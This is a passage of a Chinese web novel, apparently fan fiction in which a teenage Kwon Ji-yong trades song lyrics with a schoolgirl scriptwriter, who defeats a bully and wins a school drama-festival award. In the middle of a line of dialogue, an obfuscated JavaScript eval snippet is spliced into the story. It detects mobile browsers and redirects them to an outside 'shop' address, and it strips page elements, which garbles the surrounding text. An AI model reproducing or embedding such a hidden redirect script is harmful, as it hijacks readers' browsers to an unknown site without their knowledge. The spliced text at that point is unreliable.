短暂停顿后,她带上笑容:“脸上皱纹多了不少。” 佩珀温和地微笑:“那只是夫妻之间的嬉笑话罢了。” 黛丽目光转向墓碑:“希望如此……我是来此祭奠我的挚友的,以前总说我们要当一辈子的玩伴。” 她伸手去接伞尖上的雨滴,黯然神伤:“她却先走一步。” 在十年前。 佩珀轻声:“她只是提前到了另一个地方,等待着若干年之后您的到来。” 黛丽收回手,嘴角的笑容多了分真心实意,仔细地看向佩珀:“心情好多了,感谢!比起我,您更值得被称作‘美丽夫人’,容貌美,心灵更美,您的丈夫想必会相当感谢上帝赐予他这样一位妻子。” 佩珀目光落回自己丈夫的墓碑,伞柄在掌心轻微转动,似乎有些失落:“我……就是来祭拜我的丈夫的。” “他已经离开七年了。” 黛丽呼吸一窒,下意识抓紧衣角:“抱歉。” “或许,您的丈夫也在某个我们看不见的地方,一直等待着您。”】 傍晚,17:00。 权至龙来到了熟悉的便利店,环视四周,没有见到想见的人,便找了位置坐下。 今天要等多久呢。 希望能快一些。 7. 反击 不过五分钟,江听寒就进来了。 “这边这边!”权至龙立刻向她挥了挥手,喜形于色。 好快! 真的来了! 今天江听寒穿的是短袖和短裙,把高挑的身材完全显现了出来,细瘦的手臂跟夏装制服一样雪白,跟领带上的红色形成鲜明的对比,跟昨天是完全不一样的风格,像是韩剧里众人追捧的女高校花。 权至龙突然有些不好意思看她,看天看地看窗外,直到江听寒在自己旁边坐下才壮着胆子把视线移回去。 他打开了身边鼓鼓囊囊的包,从里面拿出了厚厚一叠东西。 江听寒顺口问道:“这是什么,作业?” 权至龙:“阿尼嘚(不是啦),笔友的话不是要给对方分享写自己的东西嘛,所以我把……我把我写的歌词带过来了。” 江听寒:“我也要分享吗?” 她的随笔真的很见不得光,这跟看浏览记录或者日记有什么区别。 权至龙摇摇头:“你随意就好。” “还有,”他犹豫了一下,拿出了一个纸皮封面看起来又挺硬的壳子,看起来像是CD盒,上面印着一张男人的大脸。 “这是我们公司前辈的专辑,写作的时候放放音乐说不定会更有灵感。” 权至龙也很矛盾,感觉自己跟封面上帅气俊朗的Se7en一对比要逊色太多,万一江听寒转去追Se7en了怎么办,但好像也没有什么可以送给江听寒的了。 这张专辑还是他为了支持一直照顾自己的Se7en专门去线下店买的呢。 江听寒感觉专辑上的这个人长得还挺眼熟,但她不记得是谁了,往封面的边角瞥了一眼,原来是Se7en。 “谢谢,”她收下了礼物,“等你以后出道了,送我一张你自己的专辑吧。” 这话正中权至龙的心,他坚定道:“一定会的!” 他还注意到江听寒今天没有带包,只是带了文件夹,课本笔记本和资料全都塞在里面,上面还挂着一支笔,而胸前的口袋也鼓了起来,好像放着手机。 “怎么没带包?”权至龙声音里带上了关切。 江听寒淡定道:“被人弄脏了。” 李有娜好像拿她那可怜的包泄愤了,上面都是脚印,江听寒于是拎着包的尸体去找了老师,重点不在自己的包被弄脏,而是在于里面的百利金钢笔不见了。 百利金钢笔对于一堆大小姐大少爷们来说不算太贵,但也价值十五六万韩币(一千多rmb),以学生的身份称一句“贵重物品”也不过分,江听寒还说两支都不见了,让事态变得更严重。 韩素律直接在课堂上质问是谁把江听寒的包弄脏,大家要不就说不知道要不就事不关己高高挂起,韩素律一提到钢笔众人的表情就变得微妙起来了。 欺负留学生他们可以当做私人恩怨视而不见,但偷东西意义就不一样了,谁知道自己的东西会不会也被偷。 很快就有人举报看见李有娜拿走了江听寒的包,还在各种翻找。 李有娜顿时成了众矢之的,脸色又青又紫,在老师的逼问下,她承认自己弄烂了江听寒的包。 “但我没有见过什么钢笔,她的包里除了笔记本什么都没有!” 江听寒举起变得破破烂烂的笔记本,表情有些落寞:“这个吗,这个是我最喜欢的笔记本了,如果我没记错的话,钢笔就放在笔记本下面。” 美女伤心的视觉冲击力很强,不少人都起了恻隐之心,纷纷帮着江听寒谴责起李有娜来。 “那钢笔又不值几个钱,有娜啊你拿了就还给人家呗,自己又不是买不起。” “这样做真的有点过分了,人家听寒xi也没对你怎么样啊,不都是你一直找人家茬吗?” “再怎么讨厌别人也不能弄坏别人的东西吧,这让听寒xi等会怎么回家,真没教养啊。” 李有娜被讲得羞愤欲死,恨恨地瞪了江听寒吗一眼,疯狂想要拆穿她的假面,但那几页诅咒她的话早就被她撕碎了,她总不能去垃圾桶找碎片拼回来吧? 最后她被民意裹挟着跟江听寒道歉了,但绝对不承认自己拿了江听寒的钢笔。 江听寒一下课,就在垃圾桶里找到了自己那两支遗失的钢笔,一副喜极而泣的模样,对同学们温声说:“可能是我扔东西的时候没注意到里面夹着钢笔。” 但所有人都默认是李有娜把钢笔扔垃圾桶里的。 李有娜看着被同学们拥护的江听寒,连金时宇也用一种“做这种事情还能被发现?”的失望眼神看她,直接被气得请假回家了。 虽然江听寒得到了清净很高兴,但又有些苦恼,今天安静了,明天就说不定了,有没有什么一劳永逸的方法呢? “鸡涌xi,如果班上有非常讨厌你的同学,你会怎么办?” 权至龙把江听寒上下两句话联系在一起,立刻就推测出了江听寒被欺负了的结论。 他变得非常紧张,目光在江听寒身上仔细巡睃:“是不是有人对你做了不好的事情,没有受伤吧?” 江听寒摊开洁白的掌心:“没有,但那同学总是会说一些不好听的话,现在还有愈演愈烈的趋势,我只想正常上学。” 权至龙刚松一口气,听到江听寒的后半句话心又紧了起来:“pabo呀,这不只是讨厌你,这就是霸凌呀!” 江听寒还是第一次听到别人喊她“pabo”,感觉有些稀奇,很快就不爽了起来,唇角都有往下压折的趋势。 她已经反击得很好了吧,哪里pabo了? 权至龙敏锐地感知到了她的情绪变化,又立马道:“我不是指责你的意思,要不——尝试一下跟家长说呢,让家长去跟你那个欺负你的人的家长沟通。” 江听寒有些不情愿:“我阿爸很忙,这点小事就不用麻烦他了吧。” 权至龙声音都变大了:“但这不是小事啊!” 霎时间,整个便利店里的人都向权至龙看过来了,弄得权至龙不好意思了起来。 江听寒也被他吓了一跳,看着权至龙眉头紧锁的模样有些惊讶,他们也才认识没几天吧,权至龙怎么就变得这么关心她了? 权至龙一副一定要替江听寒讨回公道的架势,看起来气势汹汹的:“如果不想麻烦你父亲,那就我去。” 江听寒上下扫了他两眼:“可是你一看就是未成年啊。” 权至龙:“没关系,我可以找帮手!” 他是说认真的,已经想好怎么死缠烂打让自己已成年的姐姐来帮这个忙了。 江听寒叹了口气,嘴角却轻轻扬了起来:“我今天晚上……试一下跟我阿爸说这件事吧。” 权至龙目不转睛地盯着她,认真道:“一定要哦!” 江听寒拖长语调:“内——” 她终于有心情低头去看权至龙带来的歌词本,前面几页还挺杂乱的,甚至能看到数学算式,从某一页开始就变得整洁了起来,小学生字迹也尽量写得端正工整。 【This love,已然离去。 抓在手里却消失不见,不会回来的人啊。 远远的飞走,飞到那云层背后。】 【深夜雨水降临,将你接回。 我在被浸湿了的回忆尽头,东翻西找。 就算没有你我依然可以生活得很美满。 下定此般决心,却依旧无可奈何。 哪怕酒量差,也开始借酒消愁。 但依旧忧心如焚,没有你度日如年,乞求着。 拜托请让我彻底遗忘吧。】 虽然最近天气很好,还有些干燥,完全没有下雨,但好在权至龙在歌词里把这渲染悲情气氛必备的雨水给补上了,他在自己的歌词里尽情当着龙王,呼风唤雨。 他的写作风格跟江停寒不一样,是一种悲伤中带着温柔的感觉,比起市面上痛斥渣男渣女的歌曲,他好像更倾向于表达“快回来,不要丢下我,没有你我活不下去……” 看起来像是有充分的当舔狗或者深情男二的经验。 “鸡涌xi。” 听到江听寒喊他的名字,权至龙不由自主地紧张起来,有一种即将面对公司考核的感觉。 “怎么了?” 江听寒:“未成年喝酒不好,最好不要借酒消愁。” 韩国要十九岁才成年,他们两只都是妥妥的未成年。 权至龙没想到她会说这个,摸了摸耳朵:“那只是歌词而已,只是渲染一下氛围。” 他有些惆怅,还是想听到夸奖。 江听寒紧接着又说:“写得很好,非常有画面感,是我会喜欢的风格。” 权至龙的眼睛一秒钟亮了起来,速度说不定能打败全世界99%的人。 他这回倒是不紧张,反而有些小臭屁:“我们社长可是要求我每天都得写出一首歌来呢!” 江听寒由衷道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149207|196417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大发。” 还没等权至龙开心多久,就听到江听寒饶有兴味地问道:“你的恋爱经历很丰富吗?” 权至龙:“?!” “当然不是!”他急切地解释道,“虽然看起来都是讲爱情的,但其实里面也有一些别的隐喻,比如被浸湿的回忆尽头,是我想到训练时被汗水和泪水打湿的枕头写下的……” 江听寒推着腮认真地听着,时不时点点头,最后恍然大悟:“原来是这样。” 权至龙还想继续讲下去,看了眼时间,脸色一下就垮了下来:“我好像要提前走了……今天公司有新的考核……” 江听寒体谅道:“没事,我也差不多要走了,阿爸估计要下班回家了。” 权至龙有些不舍,但也只能收拾起包来,最后抓着包就准备走。 “鸡涌xi!” 江听寒又叫住了他,两根纤长的手指一夹,把口袋里的翻盖手机抽了出来,“啪嗒”一声手机从指缝间滑落到掌心,又被手兼手机的主人轻巧握住,随意晃了晃。 “电话号码,不要吗?” 权至龙看得一阵晃神,感觉眼前的一切都在晃来晃去,连江听寒眼尾好像也晃出了动人心弦的弧度。 而他的心,同样跟着晃出了一圈又一圈的涟漪。 “要!” * 一周后,权至龙收到了江听寒发来的消息。 她说她把学校里发生的事情告诉了爸爸,爸爸二话不说就去学校找老师和欺负人的学生家长对峙了。 江听寒手机里有李有娜辱骂她的铁证,虽说当初李有娜用的是高河润的账号,但她通过李有娜本人账号的申请之后她说的污言秽语也不少,现在每一条留言都成为了回旋镖。 江听寒再不经意地提到某张照片上好像有酒,李有娜无奈之下只能推锅那是朴孝妍生日派对上准备的。 这件事可大可小,对于朴孝妍来说当然是小,对于亲口承认自己喝了酒的李有娜来说那就是罪上加罪。 韩素律联络朴孝妍询问此事,对方只说是父母摆在家中珍藏的酒,因为价格昂贵,孩子们虚荣心作祟,只是拿出来拍照,后面她去玩了,有没有人喝了这瓶酒她也不清楚。 朴孝妍还诚恳道歉,虽然她没看到有没有人喝酒,但这毕竟是她举行的派对,没有监督来参加派对的未成年嘉宾们她也有责任。 好一朵美丽的白莲花? 仅凭一张照片无法定罪,虽然当初江停寒问李有娜的是“你们喝酒了?”,但也无法确定这个“你们”里包含朴孝妍,韩素律也不想把事情闹太大,最后锅就只能是李有娜一个人背了。 李有娜在心中怒骂江听寒,但比起敌人的针对,还是朋友的背刺,因为朴孝妍的家庭背景比李有娜要好,她一直都是捧着朴孝妍的,她不爽的人,李有娜就会去欺压嘲讽,让她依旧保持白月光的美好形象。 没想到最后自己声名狼藉了,朴孝妍却一点都不念着她的好,反而把她当做一枚弃子飞快地丢了出去。 真是恶心至极! 李有娜的父母想护着她,但每张图上面都有脏话,父母也很难说出“我们孩子骂你你就受着”这样的话。 他们假模假样地训斥李有娜几句,紧接着就给李有娜办了暂时休学。 没过多久,李有娜直接转学了。 江听寒本来还想看李有娜和朴孝妍狗咬狗一番呢,真是可惜了。 也不知道李有娜的转学是不是也有朴孝妍在其中操作的原因呢,毕竟她干的很多腌臜事,李有娜都知道得一清二楚。 老师宣布她转学那一天,朴孝妍回来了,还深深看了江听寒一眼,好像在说:“你还挺有手段。” 江听寒没有提最后一段,只是感谢权至龙出的主意。 【我们学校六月一号要举办戏剧节,有时间的话可以来参加,鸡涌xi不是一直很好奇我到底写了什么吗,来了就能看见了^v^】 这邀请诱惑力可太大了,权至龙差点从沙发上蹦起来。 【绝对会来的……】 删除。 【我没有时间也会有时间!】 删除。 权至龙斟酌了很久,最后回复道: 【就算那天首尔堵得水泄不通我也会找来一条飞龙骑过去!( ?? ω ?? )?】 江听寒:【?】 权至龙捧着手机和手机里的问号,笑得乐不可支。 8. 戏剧节来了! “今天真的来了好多人啊。” 汇演厅后台,高河润悄悄撩开幕布,看台下几乎坐满了人,长枪大炮的,不免有些紧张。 尹泰潾:“好像还有记者。” 崔秀英:“岂止啊,前面不是还请了爱豆团体来吗,完全是大学校庆的规模了。” 第一次参加外语戏剧节的孩子们都不知道原来会办得如此隆重。 高河润有些激动,感慨道:“如果是东方神起就好了,允浩xi真的太帅了。” 崔秀英点头表示赞同:“还有在中前辈,怎么有人能长那样一张脸呢!” 经过这两三周的相处,高河润性格已经开朗了些:“前段时间不是还有一位非常具有中性美的爱豆出道了吗,是哪个什么来着?” 崔秀英猜测道:“Super Junior的金希澈?” 高河润:“对对对对!” “Hot也很不错啊,”尹泰潾身为Hot男粉一定要让自己的偶像榜上有名,还搞怪似的唱跳了一段。 “此刻我只想说爱你,抛开我之前,一直准备的那些话,我要永远陪在你身边!” 是《Hot》的名曲《Candy》,他简单一唱,大家脑海里就自动浮现出Hot成员们蹦蹦跳跳的样子了。 “泰潾xi,不要随便乱动,流苏可能会掉。”江听寒提醒道。 下一秒,三双眼睛突然齐刷刷向江听寒扫来,他们的导演兼编剧即便太过沉默,存在感也不低。 因为——她实在是太漂亮了。 今天江听寒穿了一身优雅宫廷风的黑色长裙,黑色礼帽上遍布着如同星河搬的银白点点,薄纱延伸而下,让那张美丽的面容若隐若现,更有距离感,但同时,这种神秘的魅力又让人产生更多想要掀开面纱一探究竟的渴望。 黑色蕾丝手套紧紧束缚,勾勒出修长的手,全身上下每一个细节都显示 没错,她也要上场。 韩素律各种旁敲侧击想让她上场,从“人太少不好看”说到“努力了这么久不应该一直待在幕后”,江听寒还是比较尊师重道的,只能给自己加了一个打酱油的角色。 她负责在剧情最高潮的时候给大家弹奏背景音乐。 贝多芬的《暴风雨奏鸣曲》第一乐章。 小学时父母太忙,总是把江听寒送去兴趣班,江听寒因此染上了钢琴,弹了四五年,直到初一的时候,江听寒开智了。 她觉得钢琴不是自己最喜欢的,每次弹奏乐谱的时候,脑子里想的都是回去能看哪些课外书,能追哪些电视剧,比起音乐,她好像更喜欢能用眼睛看见的故事。 所以她放弃了钢琴,开始更多的看书,网络文学、世界名著、时尚杂志……什么都看,电视剧和电影也是,只要是大家推荐的她都会看,还会去买蓝光碟片,在假期里反复重刷。 没想到现在还有跟钢琴这位老朋友见面的机会。 虽然已经两三年没弹钢琴了,但江听寒一碰钢琴时还是如鱼得水,按照肌肉记忆弹奏出了一曲《卡门》,只错了两三个音,练了三天,就能流利地弹出《暴风雨奏鸣曲》了。 今天的妆造也是黑色系为主,面容朦朦胧胧,象征着两位女主心中偏向阴暗的一面。 高河润看着江听寒的装扮,虽然已经被惊艳过了,还是忍不住轻微倒吸一口凉气:“听寒xi,你呢,你有没有喜欢的爱豆?” 从小练钢琴长大的人应该对爱豆们不感兴趣吧? 江听寒却说:“有啊。” 三位角色顿时好奇起来:“什么什么?是谁?” 江听寒指了指崔秀英:“等秀英xi出道,我就是秀英xi的忠实粉丝了。” “莫呀?”崔秀英忍不住笑起来,“我还只是个练习生呢,不算正儿八经的爱豆。” 高河润顿时安慰道:“不要妄自菲薄,秀英xi绝对能出道的。” 崔秀英挠了挠头,有些苦恼:“我们公司又招了一批新的练习生,竞争又变大了。” 江听寒随口问道:“出道位有几个,秀英xi说过是大型女团吧?” 崔秀英:“内,说是要推出一个九人的叫做‘Girl’s Generation’(少女时代)的女团来着。” 江听寒:“很好听的名字呢……等你大红大紫了不要忘记提携我们。” 尹泰潾附和道:“对啊对啊。” 崔秀英有些无奈:“呀!都说不一定能出道了。” 很快,有负责管理流程的老师来通知他们准备上场,江听寒看了一眼手机,看见权至龙五分钟前说他到学校门口了,正在寻找汇演厅当中。 门口离汇演厅距离还蛮远的,希望他能及时赶到吧,不然就要可怜地白跑一趟了。 退到短信列表,全都是权至龙给他发的短信,有时候两条短信可能就间隔几十秒。 江听寒问过权至龙发这么多短信不烧钱吗,权至龙说没关系,因为电话卡都是他妈妈缴费的,真是大孝子。 崔高二人组先行上场。 饰演佩珀的崔秀英身着暗橄榄绿的羊毛呢连衣裙,裁剪良好,但已经是过气许久的款式,外套一件颇旧的长款褐色风衣,手肘处甚至还有补丁,毡帽上仅装饰着一根羽毛,怀里捧着鲜花,英气的脸此时被忧伤的阴翳笼罩。 而饰演黛丽的高河润则要亮眼许多,虽然是黑色系的长裙,但袖口有荷叶边,裙摆宽大,还有珍珠项链点缀,一看就是贵族女士。 其他同学已经把重金打造的精致道具全都推上来了,聚光灯一亮,漫山遍野的墓碑,看得台下的观众不寒而栗。 佩珀和黛丽相遇,开始了她们的故事。 台下的观众交头接耳:“《致最深爱的丈夫》,爱情剧吗?” “应该是吧,好像其中一位丈夫已经死了,是不是怀念过去美好爱情的故事啊?” “高中生演爱情不太好吧。” “没关系啦,又不是真的,他们估计还不能理解爱情的真谛呢。” 第一小节顺利演完,两人匆匆下台,用最快的速度换好了衣服,而尹泰潾则先上去拖延时间。 他上来先对观众自我介绍,抬头挺胸,散发着自信的光芒:“我,约翰·史蒂夫,经营纺织品。羊毛、亚麻,还有少许从东方古国运送来的丝绸,我觉得女性就像不同材质的纺织品,每一位都有其独特的魅力。” “而我的妻子黛丽呢,一定是尊贵的天鹅绒,她是那样圣洁、那样美丽。” “现在的我很简单,爱我的妻子,打理我的花园,还有收藏钟表。” 这段台词很长,尹泰潾一口气说了出来,还带着情感与抑扬顿挫的语调,表情也恰到好处,几分自傲,几分炫耀,还带着一丝深情。 不过这种深情配上他的语气,却让观众感觉有些虚假。 观众们率先为他精彩的表演鼓起掌来,鼓得最热烈的当属尹泰潾那只有小学的弟弟。 弟弟今天闹小脾气说要坐最外面,父母只能靠在最里面,时不时分点注意力给小儿子,看见小儿子旁边坐了一个小年轻,更是打起了十二分的警惕。 弟弟却完全忘记了自己的家人都在同一边,顺手扯起了旁边小年轻的衣服,兴奋地说:“爸爸快看,这还是哥哥吗?演得也太好了吧!” 新晋爸爸款鸡涌xi转头一看,眼睛充满了疑惑:“……?” 他一本正经地说道:“我不是你爸爸。” 弟弟这才扭过头去,猛然一惊:“呀!” 旁边的妈妈赶紧提醒他:“小声点,别人都在看表演呢。” 弟弟:“哦……” 权至龙把目光转到台上,身着板正西装、肩上又加了几道流苏,像是不伦不类仪仗服的尹泰潾映入眼帘,西装不愧是男人的医美,这小身板穿上西装也显得英俊起来。 他不知在什么时候已经抿起了唇,这就是听寒选的男主角吗? “钟表很好,”约翰从怀里掏出一块金表,“齿轮永远忠诚地执行着它的使命,也不会说话,不像人类,总是记住一些不该记住的东西,一直翻旧账。” 他惆怅了起来:“就像我那妻子,一年前的某一天,我回家晚了,直到今天,妻子还会为此而生气。” “说什么呢,约翰!” 黛丽出场就是一声大喝,吓得约翰赶紧收起了金表,悻悻道:“你回来了,夫人。” 黛丽双手叉腰,横眉冷竖:“有客人来了。” 台下,高河润的妈妈也在惊叹,还忍不住捂住了嘴巴,她从来没有见过她们家河润这么大声说话。 平时唯唯诺诺的高河润此时变得落落大方起来,甚至有些张扬,仿若焕然一新变成了另一个人。 演得越久,观众就越沉浸在表演当中,每一幕的间隔安排得也刚刚好,第一幕以热情的邀请和拥抱结束,是友谊的萌芽;第二幕则是以黛丽没有拿稳茶杯,热茶洒了自己一身,又碰地碎裂结束,是怀疑的种子生根发芽。 终于到了真相反转的第三幕。 在全场黑下来更换场景道具的时候,江听寒跟角色们一起上去了。 “咻!” “Bang!” 为了舞台安全着想,他们没有办法跟剧本一样放烟火,所以江听寒想了一个法子,找小型的只在地面燃放的烟火,配上真正烟花的音效,再做一个装置。 崔秀英走过去的时候,只要踩到装置的踏板,无数小气球就会从打开的装置里飘出来,每个末端都系了足够长的细 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他的脑子一瞬间变得空白,除了“漂亮”什么都说不出来。 穿着睡衣的尹泰潾拉着高河润狂奔起来,就像剧本里写的那样,明明脸色苍白,浑身发抖,却在以为遇到危险时奋不顾身地扑倒了高河润,甚至大喊:“掩护!” 烟花和《暴风雨》都迎来了高潮,舞台上变得十分吵闹,就像炮火连天的战场,突然,音乐和音效都消失了。 子弹上膛的声音打破了这份寂静。 约翰死死挣扎,身后的黛丽流着泪,重复说着“别走、别走”,紧紧地抱着约翰的腰。 他们的脑袋离得很近,如果佩珀控制不好,或者在狠心一点,这对外人艳羡的七年夫妻就会一起共赴黄泉。 黛丽想着,没关系。 枕边人欺骗了自己七年,被蒙骗的痛苦和让约翰去死的愧疚快要摧毁她的心,如果自己也死去,那就一了百了了。 约翰暗骂身后这个愚蠢的女人,但此刻,他的眼里被迫只能看见佩珀一个人。 他永远不会忘记临死前看到的属于佩珀的眼神,恨意浓烈到仿佛是海底火山冲破了坚不可摧的冰川,轰然爆发。 佩珀身上穿着跟江听寒一模一样的裙装,她的心中也是狂风暴雨。 子弹穿过枪和烟火交织的硝烟,穿过了充满谎言与虚伪的时间,正中他的眉心。 “咚!” 最后一个音符落下,晶莹的汗珠顺着女孩漂亮的侧脸滑落,在下巴处停留了一会,终究还是坠落,就像是那颗泪,最后从面纱上掉下来,融入了长裙里。 三个角色都躺在地上,两位女性重重地喘着气,狼狈至极。 江听寒站了起来,接连扶起崔秀英和高河润,然后,将两个人的手交叠在了一起。 故事正式落下帷幕,台下爆发出了仿佛排山倒海的热烈掌声。 老师们、同学们、家长们、朋友们,乃至于记者们都在疯狂鼓着掌,这场表演实在是太精彩了,完全够得上专业戏剧的水平。 服装道具布景一点都不敷衍,演员们台词也非常流利,能一下就把人带入戏,最后的交锋甚至让观众忘记了这只是一出戏剧,每个人的心都重重揪了起来。 谁能预料到《致最深爱的丈夫》讲的根本不是真爱无敌的故事,最后那个丈夫还被杀掉了啊! 应该改名叫《致最痛恨的丈夫》才对吧! 在剧里约翰欺骗佩珀和黛丽,在剧外剧本的创作者欺骗他们这群可怜的观众,到底是谁起的名字,一定要抓出来狠狠批判一顿才行! 太坏了! 《致最深爱的丈夫》余韵悠长,后劲十足,结束了都有人在继续讨论剧情。 “我真不懂了,佩珀这么聪明勇敢,约翰竟然会抛弃她,我已经深深爱上佩珀了。” “也许约翰就是不喜欢太聪明的女人呢,你看之前约翰说自己晚归被妻子念叨,说不定是去外面找其他女人呢,我不相信约翰这种人只会出轨一次。” “约翰真是太讨厌了!亏我一开始还最喜欢他,他明明谈吐得体,学识也丰富,完全绅士做派,没想到竟然是这样的人!” “没事,反正他最后也死了。” “我倒是觉得他罪不至死吧,佩珀还是太冲动了,杀了人万一被警察抓住了怎么办。” “啊啊啊好想知道后面的故事,还可以写续篇啊,就写……佩珀和黛丽一起逃亡的故事!” “我也想看!” * 半夜,校园论坛。 【捞一个人,急急急!《致最深爱的丈夫》上那个弹钢琴的小美女是谁,有没有知情人士提供点资料,啊啊啊我一见钟情了!!!】 9. 第一次获奖 演出结束之后,江听寒就被夸赞包围了,就连同学都在夸。 班里的同学们几乎没有看见过他们排练是什么样子的,前几天还临时被分配了搬道具的任务,稍微有些不爽。 看完这出戏剧之后—— 是他们有眼不识泰山了! 全班有令,都来膜拜他们寒姐! 今天这演出完全能评价一个夯,当剧本上的文字化作真实可见的表演,彻底把他们震撼住了。 等换好衣服的四个人重新入座,立刻就被同学们七嘴八舌地包围住了,他们四个一下子成为了班内的焦点人物,特别是江听寒,这样的甜言蜜语她以前从未享受过。 她终于知道为什么有的人被吹捧之后会飘了,被夸奖的滋味的确很不错。 下一个表演马上开始,周围也慢慢沉默了下来,江听寒拿出手机看了一眼。 老爸说弹得太好了,等下带江听寒去吃顿大餐,江听寒回了一个“好”,又想起什么似的,转头向后面几排看去。 她都不知道权至龙到了没有,也没发消息。 人太多,穿的也是五花八门的,江听寒扫了几圈也没看到权至龙,反而看到了在对她兴奋挥手的爸爸。 江听寒笑笑,收回了视线。 他们是倒数第二个出场的,这一场戏剧结束之后就是评奖环节。 外语节对外国语学校来说相当于是一场考试,评审团都非常专业,请了大学外国语系的教授对语言进行评分,艺术系领域的教授负责评判舞台的调度、故事情节的安排以及演员的表演。 本校的校长也要参与打分,最后根据分数的高低来评奖。 分别设立了“最佳导演奖”“最佳表演奖(男)”“最佳表演奖(女)”“语言荣誉奖”“艺术创意奖”“学术研究奖”等单项奖,也有学生投出的特别奖“观众评审奖”,而至高荣誉则是给最优秀的作品颁发的“莎士比亚奖”。 今年的语言荣誉奖颁发给了用拉丁语表演的一个班级,学术研究奖、最佳表演奖也逐一颁发。 直到这一刻,《致最深爱的丈夫》依然颗粒无收,但大家坚信他们肯定会获得后面的重磅奖项。 “气球摇身一变烟火的设计让人惊叹,是创作者在悲情故事中留下的一丝温柔,恭喜《致最深爱的丈夫》获得艺术创意奖。” “在爱情与复仇这个古老的命题里,你走出了一条新的道路,受害者携手完成的审判与钢琴声错落交织,无疑是今晚最亮眼的一抹光,恭喜《致最深爱的丈夫》获得最佳导演奖。” “究竟是那部戏剧能得到大众的喜爱呢,是荡气回肠的英雄故事,还是缠绵悱恻的爱情故事……获得观众评审奖的是——《致最深爱的丈夫》!粗卡哈米达!” 颁奖典礼还有走红毯环节,主持人的语气也分外隆重,不知道的还以为是格莱美或者奥斯卡现场,不同的是没有获奖感言环节。 但也足够让人激动兴奋,虽说很多同学没有参与表演,但看着自己班级的名字出现也是有荣与焉。 今天朴孝妍和最爱呱呱呱的金时宇都没来,扫兴的主心骨没了,剩下的人都大嗨特嗨起来了。 江听寒又往后排看了几眼,只看到旁边的尹泰潾高兴地跑去了自己家人旁边,欢呼庆祝,还有老爸一如既往的大拇指。 依旧没看到人。 一阵风突然轻柔地刮过侧脸,似乎有人从她身侧经过。 江听寒转过头去,对上了一双帽檐下被阴影笼罩的眼睛,弯弯的,仿佛充斥着阳光般暖融融又金灿灿的笑意。 他来了。 那人轻轻碰了碰她的手,温热且有些粗糙的指尖只与清瘦微凉的手背接触了一瞬间,就像是抓不住的风一样离开了。 江听寒看了权至龙的背影两眼,才低头,把手一翻,查看起权至龙给她塞的东西。 是一只用纸折出来的千纸鹤。 里面不会塞了吃完的口香糖之类的吧……江听寒胡思乱想着,手上的动作没停,拆开了这只千纸鹤。 上面的字迹像是狗爬一样,不是一般的潦草,江听寒仔细辨认了一下。 【太晚了,再不回家我偶妈要担心了,看见你获奖很开心(????)? 如果获了最终大奖一定一定要跟我说哦!(☆▽☆) 社长说这个月开始我们要抓紧训练了,大家都强制搬到宿舍两点一线,出道时间确定在8月19日,我生日的后一天,所以这两个月可能很难见面了(???︿???) 虽然没有看到wuli小听寒写的原文字有点可惜……但看完这一场戏我相信剧本肯定特别优秀!投稿到出版社都完全没有问题!如果拍成电影一定会被列入世界百大必看电影清单~ 我会在背后一直给你加油的!(?ˊ?ˋ?)?? ——From鸡涌欧巴(我是哥哥喊我一句欧巴没关系吧嘿嘿)】 就一小张纸,前面和后面都写得满满当当的,从外面看就是一只黑色的千纸鹤,其实纸原本是樱花般的淡粉色。 江听寒感觉权至龙比其他人会夸多了,瞧瞧,世界百大必看电影都来了,真是他敢说她不敢听。 原来权至龙的生日是八月十八号啊,那还挺巧的,就跟她间隔十天…… 话说在生日后一天出道是谁想出来的馊主意,既施加压力又让人不能好好过生日,万一出道大败以后每次过生日不就会被重新提醒一遍这件事吗? 没有诅咒权至龙的意思。 如果是权至龙的主意那当她没说。 江听寒感觉越想越糟糕了,立刻及时止损,好奇起权至龙从哪搜罗这么多颜文字,每个都还挺形象的。 也有点……可爱? 江听寒突然有了灵感。 决定了,她要写一个字写得很丑的主角! 评审们又商量一番,让主持人公布了最后的“莎士比亚奖”。 十分钟之前的江听寒或许会有些紧张,但现在她已经完全放松下来了,把这张方方正正的纸贴好成规整的小块,塞进制服外套的兜里,才抬头向洒满光芒的舞台看去。 明亮的灯光落入了少女漆黑又清澈的眼睛里,像是点燃了两簇火种。 “现在获奖名单已经在我手上了,获奖的这部作品相当精彩,评审团一致认为其具有优秀的戏剧张力与深刻的文学性,将莎士比亚式的命运重量展现得淋漓尽致。” 颁奖词一出,班上的同学都紧张起来了,高河润更是攥进了崔秀英的手。 这届戏剧节有两三个复刻莎士比亚经典的表演节目,也表现得非常出众,不会大奖花落他家了吧? 没获奖也没关系,表演莎士比亚的都是高年级的学长学姐们,他们经验更足,获奖了也正常。 大家已经开始自我安慰了,下一秒,却听到台上的主持人说:“最精妙的骗局往往以爱为蓝本,爱有时候也会成为谎言的帮凶,第二十届外语戏剧节莎士比亚奖将要颁发给——” “《致最深爱的丈夫》!” 众人顿时爆发出了热烈的欢呼:“啊啊啊啊啊——真的是我们!!!” 青少年最厉害的就是热情,江听寒结结实实感受了一把来自众多青少年的热情,最后艰难脱身,找到自家老爸出发去吃美味大餐。 “不愧是我的女儿,怎么这么优秀呢!”江爸爸给江听寒倒满果汁,笑嘻嘻地夸赞道。 江听寒接过果汁,喝了一口:“谢谢爸爸。” “不用谢不用谢,是爸爸要谢谢你才对,哎呀,爸爸明天又能跟同事炫耀一番了。”江爸爸不是一般的开心,“对了,你先别跟你妈妈报喜。” 江听寒眨了下眼睛:“您要亲自来?” 江爸爸嘿嘿一笑:“当然!” “啧啧,没想到咱家女儿小小年纪,对爱的理解还挺透彻,”江爸爸开玩笑道,“不会是跟哪个臭小子谈恋爱了吧?” 江听寒顿时感觉口袋里那张纸有些发烫,她不动声色道:“怎么可能,爸你知道的,我最近都要忙死了。” 前两次跟权至龙见面,江听寒一次借口是拖堂,一次是排练,加上她最近频频早起去学校找时间排练,周末两天也要出门排练,在江爸爸眼里的确是忙得不能再忙了。 江爸爸连忙道:“好好好,我冤枉我们家小听寒了,来来来,吃肉,可别又说减肥什么的,你们这种青少年正是要长身体大口吃肉的时候。” 